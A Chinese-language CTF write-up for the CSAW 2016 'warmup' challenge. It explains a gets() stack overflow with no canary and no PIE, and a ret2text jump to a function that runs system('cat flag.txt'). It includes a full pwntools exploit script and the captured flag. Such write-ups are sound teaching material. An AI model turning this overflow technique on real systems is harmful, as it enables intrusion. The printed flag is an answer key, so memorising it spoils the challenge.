warmup_csaw_2016 题解

0x00 题目元数据

项目 信息
来源 CSAW CTF 2016 Quals(warmup)
Arch amd64-64-little
RELRO Partial RELRO
Stack(Canary) No canary found
NX NX enabled
PIE No PIE (0x400000)
Stack(执行权限) Executable
RWX Has RWX segments
Stripped No
libc Ubuntu GLIBC 2.23-0ubuntu3
远端 4ddfc62ce9e778ce82e358c6.tcp-ctf2.dasctf.com:9999(TLS,SNI=host)

0x01 思路

main 里是 char v5[64] 加一个 gets(v5)。无 canary、无 PIE,返回地址直接可控。

更省事的是,程序开屏就把 win 地址送出来了:WOW:0x40060d。跟过去就是这个函数:

1
2
3
4
int sub_40060D()
{
return system("cat flag.txt");
}

binary 是 stripped 的,但 IDA 直接认得出来。

栈可执行、RWX 段这些干扰项不用管。纯 ret2text 就够,用不上 shellcode。

0x02 利用

偏移:0x40(v5)+ 8(saved rbp)= 0x48。

链条就一行:b'A' * 0x48 + p64(0x40060D)。

system 返回之后栈上已经没有有效帧,进程收尾必崩(SIGSEGV),但 cat 的输出早都回显了,不影响拿 flag。实测 direct 直接出,不需要额外 ret 补对齐。

0x03 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/python
# _*_ coding: utf-8 _*_

from os import path

from pwn import *

context(arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.binary = './warmup'
e = ELF('./warmup')
libc = e.libc
# libc = ELF('')
host = "4ddfc62ce9e778ce82e358c6.tcp-ctf2.dasctf.com"
port = 9999
if args['RE']:
io = remote(host, port, ssl=bool(args['SSL']), sni=host)
else:
io = process('./warmup')


def debug(gdbscript=''):
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)


def bp():
if args.GDB:
pause()


sa = lambda s, d: io.sendafter(s, d)
sla = lambda s, d: io.sendlineafter(s, d)
sl = lambda d: io.sendline(d)
sd = lambda d: io.send(d)
ru = lambda s: io.recvuntil(s)
rc = lambda n: io.recv(n)
rl = lambda: io.recvline()
ti = lambda: io.interactive()
lg = lambda s, v: log.info('\033[1;32m %s --> 0x%x \033[0m' % (s, v))


def main():
OFFSET = 0x48 # v5[64] + saved rbp(8)
WIN = 0x40060D # sub_40060D: system("cat flag.txt"),程序自己也打印了这个地址

sla(b'>', b'A' * OFFSET + p64(WIN))


if __name__ == '__main__':
main()
ti()

0x04 Flag

1
CTF2{0751adcc-429c-4e84-8e44-01138a35b2f7}

站内搜索

没有找到内容!